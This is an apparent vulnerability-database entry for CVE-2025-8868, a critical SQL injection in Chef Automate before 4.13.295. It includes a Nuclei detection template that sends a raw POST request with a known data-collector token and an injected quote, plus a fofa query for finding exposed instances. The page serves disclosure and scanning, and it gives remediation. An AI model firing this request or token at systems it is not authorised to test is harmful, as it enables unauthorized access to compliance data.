CVE-2025-8868: Chef Automate < 4.13.295 — SQL Injection

日期: 2025-08-01 | 影响软件: Chef Automate | POC: 已公开

漏洞描述

In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.

PoC代码[已公开]

id: CVE-2025-8868

info:
  name: Chef Automate < 4.13.295 — SQL Injection
  author: 3th1c_yuk1,xbow
  severity: critical
  description: |
    In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.
  remediation: |
    Upgrade to version 4.13.295 or later.
  reference:
    - https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-8868
    epss-score: 0.10513
    epss-percentile: 0.92936
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Chef Automate"
  tags: cve,cve2025,chef,automate,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /api/v0/compliance/profiles/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

        {"filters": [{"type": "name'", "values": ["test"]}]}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains(body, 'pq: syntax error')"
          - "contains(content_type, 'application/json')"
        condition: and
# digest: 490a004630440220698958648d0a4899f549d28eea2026120e8231a4d7e713e92b8f0b57fbf22acb0220449a6e1c7841465842757eeeaa9f03142763a4124f491d48b5e44f41d78eda96:922c64590222798bb761d5b6d8e72950

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